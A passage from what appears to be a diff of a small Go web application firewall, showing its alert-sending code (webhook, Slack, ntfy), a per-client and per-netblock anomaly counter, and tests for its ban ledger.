case d.queued <- struct{}{}:
default: // a value waits already
}
}
// load puts waiting, read from alerts.json, in place of the alerts
// waiting, as add adds them.
func (d *destination) load(waiting []Alert) {
d.mu.Lock()
d.waiting = nil
d.mu.Unlock()
for _, alert := range waiting {
d.add(&alert)
}
}
// snapshot returns the alerts waiting, oldest first.
func (d *destination) snapshot() []Alert {
d.mu.Lock()
defer d.mu.Unlock()
waiting := make([]Alert, 0, len(d.waiting))
for _, alert := range d.waiting {
waiting = append(waiting, *alert)
}
return waiting
}
// oldest returns the oldest alert waiting, nil when none waits.
func (d *destination) oldest() *Alert {
d.mu.Lock()
defer d.mu.Unlock()
if len(d.waiting) == 0 {
return nil
}
return d.waiting[0]
}
// remove takes alert, which run has sent or given up, out of the queue,
// unless it has been dropped from it, or load has replaced the queue,
// since run took it. Only the oldest alert is ever dropped, so alert is
// the oldest if it is there at all.
func (d *destination) remove(alert *Alert) {
d.mu.Lock()
defer d.mu.Unlock()
if len(d.waiting) > 0 && d.waiting[0] == alert {
d.waiting = slices.Delete(d.waiting, 0, 1)
}
}
// send posts alert to the destination, as message makes it, and returns
// an error unless the destination answers with a 2xx status: one that
// wraps errRefused for a 4xx status other than 408 and 429. No error
// names the destination's URL, whose path or query can carry a secret.
func (d *destination) send(ctx context.Context, alert *Alert) error {
body, header, err := d.message(alert)
if err != nil {
return err
}
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
bytes.NewReader(body))
if err != nil {
return fmt.Errorf("make the request: %w", err)
}
maps.Copy(req.Header, header)
res, err := d.httpClient.Do(req)
if err != nil {
// The client's error names the URL: only what went wrong is kept.
if urlErr, ok := errors.AsType[*url.Error](err); ok {
return urlErr.Err
}
return err
}
defer func() {
_ = res.Body.Close()
}()
// Read, so that the connection can be used again.
_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, maxAnswerBytes))
switch status := res.StatusCode; {
case status >= http.StatusOK && status < http.StatusMultipleChoices:
return nil
case status >= http.StatusBadRequest && status < http.StatusInternalServerError &&
status != http.StatusRequestTimeout && status != http.StatusTooManyRequests:
return fmt.Errorf("%w %s", errRefused, res.Status)
default:
return fmt.Errorf("%w %s", errStatus, res.Status)
}
}
// webhookMessage returns alert as JSON, for the webhook, and the headers
// sent with it: WebhookHeaders, and its Content-Type.
func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
body, err := json.Marshal(alert)
if err != nil {
return nil, nil, fmt.Errorf("encode the alert: %w", err)
}
header := http.Header{}
maps.Copy(header, q.params.WebhookHeaders)
header.Set("Content-Type", "application/json")
return body, header, nil
}
// slackMessage returns alert as a message for a Slack incoming webhook,
// in JSON: its title in bold, then its text, with &, < and > escaped, as
// Slack asks, so that nothing in them is read as a link or a mention.
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
body, err := json.Marshal(map[string]string{
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
})
if err != nil {
return nil, nil, fmt.Errorf("encode the message: %w", err)
}
return body, http.Header{"Content-Type": {"application/json"}}, nil
}
// ntfyMessage returns alert's text, as the message published to ntfy,
// and the headers sent with it: its title, the priority and the tag of
// its event, and NtfyToken, unless it is empty, as a bearer token.
func (q *Queue) ntfyMessage(alert *Alert) ([]byte, http.Header, error) {
header := http.Header{
"Title": {title(alert)},
"Priority": {ntfyPriority(alert.Event)},
"Tags": {ntfyTag(alert.Event)},
}
if q.params.NtfyToken != "" {
header.Set("Authorization", "Bearer "+q.params.NtfyToken)
}
return []byte(text(alert)), header, nil
}
// ntfyPriority returns the priority an alert for event is published to
// ntfy with: high for an event the admin needs to look at.
func ntfyPriority(event string) string {
switch event {
case EventPermanentBan, EventAnomaly, EventSourceFailure, EventFileError:
return "high"
case EventReputationHit:
return "low"
default: // ban, core_rule_set_match and summary
return "default"
}
}
// ntfyTag returns the tag an alert for event is published to ntfy with,
// which ntfy shows as an emoji.
func ntfyTag(event string) string {
switch event {
case EventBan, EventPermanentBan:
return "no_entry"
case EventCoreRuleSetMatch:
return "shield"
case EventAnomaly:
return "chart_with_upwards_trend"
case EventReputationHit:
return "label"
case EventSourceFailure, EventFileError:
return "warning"
default: // summary
return "bar_chart"
}
}
// title returns the title of alert in Slack and ntfy: the instance and
// the event.
func title(alert *Alert) string {
return alert.Instance + ": " + alert.Event
}
// text returns the text of alert in Slack and ntfy: its reason, then a
// line for each of its host, client, netblock and country, the file,
// source, error and mode its detail gives, and its suppressed repeats, that
// it has.
func text(alert *Alert) string {
lines := []string{alert.Reason}
if alert.Host != "" {
lines = append(lines, "host: "+alert.Host)
}
if alert.Client.IsValid() {
lines = append(lines, "client: "+alert.Client.String())
}
if alert.Netblock.IsValid() {
lines = append(lines, "netblock: "+alert.Netblock.String())
}
if alert.Country != "" {
lines = append(lines, "country: "+alert.Country)
}
for _, name := range []string{"file", "source", "error", "mode"} {
value, _ := alert.Detail[name].(string)
if value != "" {
lines = append(lines, name+": "+value)
}
}
if alert.SuppressedRepeats > 0 {
lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
}
return strings.Join(lines, "\n")
}
internal/alerts/alerts_test.go
-1378
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File diff suppressed because it is too large. Load diff
internal/alerts/export_test.go
-16
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@@ -1,16 +0,0 @@
package alerts
import "net/http"
// QueueSize is the most alerts that wait to be sent to a destination.
const QueueSize = queueSize
// SetTransport has q's requests to the destination name go through
// transport instead of the network.
func (q *Queue) SetTransport(name string, transport http.RoundTripper) {
for _, d := range q.destinations {
if d.name == name {
d.httpClient.Transport = transport
}
}
}
internal/anomaly/anomaly.go
-411
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@@ -1,411 +0,0 @@
// Package anomaly counts requests and bytes over a minute and an hour, per
// client, per surrounding netblock, per AS number, for the whole service
// and per named netblock, and raises an anomaly alert for a count over its
// threshold, as "Anomaly thresholds" under "Settings" in SPEC.md
// describes. It refuses and bans nothing. At most 20,000 counters
// are kept, in memory, and written to alerts.json and read from it by the
// state package.
package anomaly
import (
"cmp"
"fmt"
"net/netip"
"slices"
"sync"
"time"
"github.com/hashicorp/golang-lru/v2/simplelru"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
)
// maxCounters is how many counters are kept. Past it, the counter counted
// least recently is dropped, and starts afresh if it is counted again.
const maxCounters = 20000
// The scopes, what a counter counts, as the settings, alerts.json and the
// alerts name them.
const (
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWW_IPV6_GROUP_PREFIX.
ScopeClient = "client"
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
// or SWW_ANOMALY_NET_V6_PREFIX long.
ScopeNet = "net"
// ScopeASN is an AS number.
ScopeASN = "asn"
// ScopeTotal is the whole service.
ScopeTotal = "total"
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
ScopeWatchedNet = "watched_net"
)
// Scopes returns every scope.
func Scopes() []string {
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
}
// The windows a counter counts in, as the alerts name them.
const (
minute = "minute"
hour = "hour"
)
// Thresholds are the most requests and the most bytes a scope may have
// counted in a minute and in an hour before an alert is raised. Zero is
// off.
type Thresholds struct {
RequestsPerMinute int64
RequestsPerHour int64
BytesPerMinute int64
BytesPerHour int64
}
// NamedNetblock is a netblock SWW_WATCH_NETS names.
type NamedNetblock struct {
Name string
Netblock netip.Prefix
}
// Params are what New needs.
type Params struct {
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
// SWW_WATCH_*.
Client, Net, ASN, Total, Watch Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWW_WATCH_NETS.
NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts.
Alerts *alerts.Queue
}
// Counter is one scope's counts, as alerts.json holds them: the scope,
// with the netblock, the AS number or the name that tells it from the
// others in that scope, and its two buckets of requests and of bytes in
// the minute and in the hour. A bucket whose threshold is off counts
// nothing, and is left out.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Counter struct {
Scope string `json:"scope"`
Netblock netip.Prefix `json:"netblock,omitzero"`
ASN string `json:"asn,omitempty"`
Name string `json:"name,omitempty"`
Minute ratelimit.Buckets `json:"minute,omitzero"`
Hour ratelimit.Buckets `json:"hour,omitzero"`
MinuteBytes ratelimit.Buckets `json:"minute_bytes,omitzero"`
HourBytes ratelimit.Buckets `json:"hour_bytes,omitzero"`
}
// Request is a request that has ended, as the counters count it.
type Request struct {
// Host is the site the alert names, "" for none.
Host string
// Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of
// SWW_IPV6_GROUP_PREFIX its address is in.
Client netip.Addr
ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when
// unknown.
ASN, ASName, Country string
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
Bytes int64
}
// Counters counts each request in the scopes it is in. It is safe for
// concurrent use.
type Counters struct {
params Params
mu sync.Mutex
counters *simplelru.LRU[key, *Counter]
}
// key is what tells a counter from the others: its scope, with its
// netblock, AS number or name.
type key struct {
scope string
netblock netip.Prefix
asn string
name string
}
// New returns Counters for params, with nothing counted yet.
func New(params Params) *Counters {
counters, err := simplelru.NewLRU[key, *Counter](maxCounters, nil)
if err != nil {
panic(err) // NewLRU fails only for a size below one
}
return &Counters{params: params, counters: counters}
}
// Count counts r, a request that has ended, at now, in each scope it is
// in whose thresholds are not all off: its client, the netblock around
// it, its AS number once known, the whole service, and each named
// netblock it is in. Only the counts whose threshold is set are counted.
// For each scope whose count is over a threshold, it raises an anomaly
// alert, for the first such count in the order requests and bytes in the
// minute, then in the hour; the alert queue's cooldown holds back the
// repeats. Nothing is refused or banned.
func (c *Counters) Count(now time.Time, r Request) {
var raised []alerts.Alert
c.mu.Lock()
for _, scope := range c.scopesOf(r) {
counter, found := c.counters.Get(scope.key)
if !found {
counter = scope.key.counter()
c.counters.Add(scope.key, counter)
}
over, passed := counter.add(now, r.Bytes, scope.thresholds)
if passed {
raised = append(raised, alertFor(r, scope.key, over))
}
}
c.mu.Unlock()
for _, alert := range raised {
c.params.Alerts.Raise(alert)
}
}
// Snapshot returns every counter, sorted by scope, then by netblock, AS
// number and name, as alerts.json lists them.
func (c *Counters) Snapshot() []Counter {
c.mu.Lock()
counters := make([]Counter, 0, c.counters.Len())
for _, counter := range c.counters.Values() {
counters = append(counters, *counter)
}
c.mu.Unlock()
slices.SortFunc(counters, func(a, b Counter) int {
return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
})
return counters
}
// Load puts counters, read from alerts.json, in place of those held, in
// the order they were last counted, as the starts of their buckets tell,
// so that the one counted least recently is dropped first. Each netblock
// is masked to its length, so that 203.0.113.9/24 is 203.0.113.0/24.
// Buckets whose time has passed at now are emptied, and a counter left
// with every bucket empty is dropped.
func (c *Counters) Load(counters []Counter, now time.Time) {
counters = slices.Clone(counters)
slices.SortStableFunc(counters, func(a, b Counter) int {
return a.lastStart().Compare(b.lastStart())
})
c.mu.Lock()
defer c.mu.Unlock()
c.counters.Purge()
for _, counter := range counters {
counter.Netblock = counter.Netblock.Masked()
empty := true
for _, count := range counter.counts() {
if count.buckets.Passed(now, count.length) {
*count.buckets = ratelimit.Buckets{}
}
empty = empty && *count.buckets == ratelimit.Buckets{}
}
if !empty {
c.counters.Add(counter.key(), &counter)
}
}
}
// scope is a scope a request is counted in, and its thresholds.
type scope struct {
key key
thresholds Thresholds
}
// scopesOf returns the scopes r is in whose thresholds are not all off.
func (c *Counters) scopesOf(r Request) []scope {
p := c.params
client := r.Client.Unmap()
all := []scope{
{key{scope: ScopeClient, netblock: r.ClientGroup}, p.Client},
{key{scope: ScopeNet, netblock: c.netAround(client)}, p.Net},
{key{scope: ScopeTotal}, p.Total},
}
if r.ASN != "" {
all = append(all, scope{key{scope: ScopeASN, asn: r.ASN}, p.ASN})
}
for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) {
all = append(all, scope{
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
})
}
}
return slices.DeleteFunc(all, func(s scope) bool {
return s.thresholds == Thresholds{}
})
}
// netAround returns the netblock around client that ScopeNet counts it
// in: NetV4Prefix or NetV6Prefix long.
func (c *Counters) netAround(client netip.Addr) netip.Prefix {
length := c.params.NetV6Prefix
if client.Is4() {
length = c.params.NetV4Prefix
}
return netip.PrefixFrom(client, length).Masked()
}
// overThreshold is a count over its threshold: what it counts, requests or
// bytes, its window, the count and the threshold.
type overThreshold struct {
kind, window string
count float64
threshold int64
}
// add counts a request of bytes at now in each of c's counts whose
// threshold, in thresholds, is set, and returns the first count over its
// threshold, and whether there is one.
func (c *Counter) add(
now time.Time, bytes int64, thresholds Thresholds,
) (overThreshold, bool) {
// In the order of counts.
inOrder := [4]int64{
thresholds.RequestsPerMinute, thresholds.BytesPerMinute,
thresholds.RequestsPerHour, thresholds.BytesPerHour,
}
var (
first overThreshold
passed bool
)
for i, count := range c.counts() {
threshold := inOrder[i]
if threshold == 0 {
continue
}
n := int64(1)
if count.kind == ratelimit.KindBytes {
n = bytes
}
counted := count.buckets.Add(now, count.length, n)
if !passed && counted > float64(threshold) {
first = overThreshold{count.kind, count.window, counted, threshold}
passed = true
}
}
return first, passed
}
// bucketCount is one of a counter's four counts: requests or bytes, in a
// window of length, and the buckets they are counted in.
type bucketCount struct {
kind, window string
length time.Duration
buckets *ratelimit.Buckets
}
// counts returns c's counts: requests and bytes in the minute, then in
// the hour.
func (c *Counter) counts() [4]bucketCount {
return [4]bucketCount{
{ratelimit.KindRequests, minute, time.Minute, &c.Minute},
{ratelimit.KindBytes, minute, time.Minute, &c.MinuteBytes},
{ratelimit.KindRequests, hour, time.Hour, &c.Hour},
{ratelimit.KindBytes, hour, time.Hour, &c.HourBytes},
}
}
// lastStart returns the start of c's latest bucket, which tells, to the
// minute or to the hour, when c was last counted.
func (c *Counter) lastStart() time.Time {
var latest time.Time
for _, count := range c.counts() {
if count.buckets.Start.After(latest) {
latest = count.buckets.Start
}
}
return latest
}
// key returns what tells c from the other counters.
func (c *Counter) key() key {
return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
}
// counter returns a counter for k, with nothing counted yet.
func (k key) counter() *Counter {
return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
}
// alertFor returns the anomaly alert for o, a count over its threshold in
// the scope k, which r took over it. It gives r's client, with its AS
// number, AS name and country, and the netblock counted, of a client, the
// netblock around it or a named netblock. Its detail gives the scope, the
// AS number or the name of a scope that has one, the window, what is
// counted, the count and the threshold.
func alertFor(r Request, k key, o overThreshold) alerts.Alert {
detail := map[string]any{
"scope": k.scope, "window": o.window, "kind": o.kind, "count": o.count,
"threshold": o.threshold,
}
var counted string
switch k.scope {
case ScopeClient:
counted = "the client " + k.netblock.String()
case ScopeNet:
counted = "the netblock " + k.netblock.String()
case ScopeASN:
counted = k.asn
detail["asn"] = k.asn
case ScopeTotal:
counted = "the whole service"
default: // watched_net
counted = "the named netblock " + k.name + ", " + k.netblock.String()
detail["name"] = k.name
}
return alerts.Alert{
Event: alerts.EventAnomaly,
Host: r.Host,
Client: r.Client,
Netblock: k.netblock,
ASN: r.ASN,
ASName: r.ASName,
Country: r.Country,
Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
counted, o.threshold),
Detail: detail,
}
}
internal/anomaly/anomaly_test.go
-238
View File
@@ -1,238 +0,0 @@
package anomaly_test
import (
"encoding/json"
"fmt"
"net/netip"
"net/url"
"reflect"
"slices"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
)
// maxCounters is how many counters are kept.
const maxCounters = 20000
func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
t.Parallel()
queue := newQueue()
office := netip.MustParsePrefix("203.0.113.0/24")
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
counters := anomaly.New(anomaly.Params{
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
Total: overAtTheSecond, Watch: overAtTheSecond,
// The netblock around a client is the client's own, and two names
// name one netblock.
NetV4Prefix: 32,
NamedNetblocks: []anomaly.NamedNetblock{
{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
},
Alerts: queue,
})
// The first client's second request is over the threshold in the six
// scopes it is in. The other client's two are both over it in the whole
// service and in each named netblock, three repeats each, and its
// second is over it in the scopes of its own, its client, its netblock
// and its AS number, which are no repeats.
for _, r := range []anomaly.Request{
{Client: netip.MustParseAddr("203.0.113.9"), ASN: "AS64496"},
{Client: netip.MustParseAddr("203.0.113.10"), ASN: "AS64511"},
} {
r.ClientGroup = netip.PrefixFrom(r.Client, 32)
for range 2 {
counters.Count(midnight(), r)
}
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 9 || queue.Suppressed() != 6 {
t.Fatalf("%d alerts wait and %d are held back, want 9 and 6: %+v",
len(waiting), queue.Suppressed(), waiting)
}
// alerts.json keeps each scope's cooldown: each alert raised again
// after a restart is a repeat.
data, err := json.Marshal(queue.Snapshot())
if err != nil {
t.Fatalf("encode: %v", err)
}
var read alerts.State
err = json.Unmarshal(data, &read)
if err != nil {
t.Fatalf("decode: %v", err)
}
after := newQueue()
after.Load(read)
for _, alert := range read.Waiting[alerts.DestinationWebhook] {
after.Raise(alert)
}
if after.Suppressed() != 9 {
t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
}
}
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
t.Parallel()
counters := newCounters(anomaly.Params{
Client: anomaly.Thresholds{RequestsPerMinute: 1000},
})
for i := range maxCounters {
counters.Count(midnight(), request(i))
}
// Counted again, the first client is the most recently counted, and
// the second is dropped for a new one.
counters.Count(midnight(), request(0))
counters.Count(midnight(), request(maxCounters))
got := counters.Snapshot()
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
!holds(got, maxCounters) {
t.Errorf("%d counters, holding the first client %v, the second %v and the "+
"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
holds(got, 1), holds(got, maxCounters), maxCounters)
}
}
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
t.Parallel()
counters := newCounters(anomaly.Params{
Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
NetV4Prefix: 24,
})
halfAnHourOn := midnight().Add(30 * time.Minute)
// Half an hour on, the hour's buckets count still, and the minute's
// do not.
counters.Load([]anomaly.Counter{
{
Scope: anomaly.ScopeNet,
Netblock: netip.MustParsePrefix("203.0.113.9/24"),
Minute: ratelimit.Buckets{Start: midnight(), Current: 5},
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
},
{
Scope: anomaly.ScopeTotal,
Minute: ratelimit.Buckets{Start: midnight(), Current: 1},
},
}, halfAnHourOn)
// The whole service's counter, left empty, is dropped, and the
// netblock read is masked to its length.
netblock := anomaly.Counter{
Scope: anomaly.ScopeNet,
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
}
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
got, want) {
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
}
// A request from the netblock is counted with the requests read.
counters.Count(halfAnHourOn, anomaly.Request{
Client: netip.MustParseAddr("203.0.113.9"),
ClientGroup: netip.MustParsePrefix("203.0.113.9/32"),
})
netblock.Minute = ratelimit.Buckets{Start: halfAnHourOn, Current: 1}
netblock.Hour.Current = 8
want := []anomaly.Counter{netblock, {
Scope: anomaly.ScopeTotal,
Minute: ratelimit.Buckets{Start: halfAnHourOn, Current: 1},
}}
if got := counters.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("counters after a request\n%+v\nwant\n%+v", got, want)
}
}
func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
t.Parallel()
counters := newCounters(anomaly.Params{
Client: anomaly.Thresholds{RequestsPerMinute: 1000},
})
now := midnight().Add(time.Minute)
// The second half of the file was counted in the minute before the
// first half.
read := make([]anomaly.Counter, 0, maxCounters)
for i := range maxCounters {
start := now
if i >= maxCounters/2 {
start = midnight()
}
read = append(read, anomaly.Counter{
Scope: anomaly.ScopeClient, Netblock: request(i).ClientGroup,
Minute: ratelimit.Buckets{Start: start, Current: 1},
})
}
counters.Load(read, now)
counters.Count(now, request(maxCounters))
got := counters.Snapshot()
if !holds(got, 0) || holds(got, maxCounters/2) {
t.Errorf("holding the first client of the file %v, and the first counted in "+
"the minute before %v, want only the first", holds(got, 0),
holds(got, maxCounters/2))
}
}
// midnight is the time of the tests' requests.
func midnight() time.Time {
return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
}
// newCounters returns Counters for params, whose alerts go nowhere.
func newCounters(params anomaly.Params) *anomaly.Counters {
params.Alerts = alerts.New(alerts.Params{})
return anomaly.New(params)
}
// newQueue returns a queue of alerts to a webhook, with the default
// cooldown, which keeps them waiting, since it is never run.
func newQueue() *alerts.Queue {
return alerts.New(alerts.Params{
WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
Events: alerts.Events(),
Cooldown: 15 * time.Minute,
MaxPerHour: 60,
Now: midnight,
})
}
// request returns a request from client number i, an address in
// 10.0.0.0/8.
func request(i int) anomaly.Request {
client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
}
// holds reports whether counters hold the counter of client number i.
func holds(counters []anomaly.Counter, i int) bool {
return slices.ContainsFunc(counters, func(counter anomaly.Counter) bool {
return counter.Netblock == request(i).ClientGroup
})
}
internal/bans/admin_test.go
-388
View File
@@ -1,388 +0,0 @@
package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}})
if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin {
t.Errorf("the ban's cause is %q, want admin", got)
}
}
func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
t.Parallel()
params := defaultParams()
params.MaxBans = 1
ledger := bans.New(params)
adminsOnly := netip.MustParsePrefix("198.51.100.0/24")
both := netip.MustParsePrefix("203.0.113.1/32")
second := netip.MustParsePrefix("203.0.113.2/32")
third := netip.MustParsePrefix("203.0.113.3/32")
// Seen longest ago, a netblock with two of an admin's bans alone, and
// then one with an admin's ban before a ban sww made: the one
// ban counted toward MaxBans.
ledger.Load([]bans.Ban{
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
{
Netblock: both,
Start: midnight(),
Expires: midnight().Add(time.Hour),
Cause: bans.CauseLimit,
},
})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
// A new ban drops the ban sww made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
}
// And the next drops that one.
ledger.BanForLimit(third, midnight(), bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
}
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
t.Parallel()
params := defaultParams()
params.MaxBans = 2
ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.1/32")
other := netip.MustParsePrefix("203.0.113.2/32")
// An admin bans the netblock for a minute, and it then breaks a limit
// twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins")
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first
// ban for a limit, its earliest that is not an admin's, goes.
ledger.BanForLimit(other, second.Start, bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
// The netblock's next ban still counts it.
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
t.Errorf("the third ban for a limit has earlier bans %+v, "+
"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
}
}
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.1/32")
// The netblock breaks a limit twice, the second time after its first
// ban has ended, and the second ban's notes count the first. An admin
// then keeps the first ban.
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
kept := first
kept.Cause = bans.CauseAdmin
ledger.LoadEdit([]bans.Ban{kept, second})
// The netblock's next ban counts the kept ban once, as an admin's.
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
t.Errorf("the third ban for a limit has earlier bans %+v, "+
"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
}
}
func TestReasonOfTheBansSwwMakes(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
bans.Notes{RuleID: "git-dir", Target: "path"})
for _, tc := range []struct{ got, want string }{
{limit.Reason, "requests per minute over the limit of 1000"},
{byteLimit.Reason, "bytes per hour over the limit of 10737418240"},
{attack.Reason, "matched the rule git-dir"},
} {
if tc.got != tc.want {
t.Errorf("the reason is %q, want %q", tc.got, tc.want)
}
}
}
func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
t.Parallel()
// An hour's ban lifted ten minutes after it started.
netblock := netip.MustParsePrefix("203.0.113.9/32")
lifted := bans.Ban{
Netblock: netblock,
Start: midnight(),
Expires: midnight().Add(time.Hour),
Cause: bans.CauseLimit,
Lifted: midnight().Add(10 * time.Minute),
}
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{lifted})
// While it would still last, it refuses nothing, and a limit broken
// bans for an hour, as a first broken limit does; the lifted ban is
// kept, and counted among the earlier bans.
now := midnight().Add(30 * time.Minute)
_, banned, _ := ledger.Check(netblock.Addr(), now)
if banned {
t.Error("the lifted ban refuses")
}
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
}
held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
}
}
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
t.Parallel()
// A permanent ban for a clear sign of attack, lifted.
netblock := netip.MustParsePrefix("203.0.113.9/32")
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{{
Netblock: netblock,
Start: midnight(),
Cause: bans.CauseAttack,
Lifted: midnight().Add(time.Hour),
}})
now := midnight().Add(2 * time.Hour)
_, banned, _ := ledger.Find(netblock.Addr(), now)
if banned {
t.Error("the lifted ban refuses")
}
active, permanent := ledger.Count(now)
if active != 0 || permanent != 0 {
t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
}
// The next clear sign of attack bans for seven days, as a first does.
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != 7*day {
t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
}
}
func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
bans.Notes{})
atStart := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
Start: midnight(),
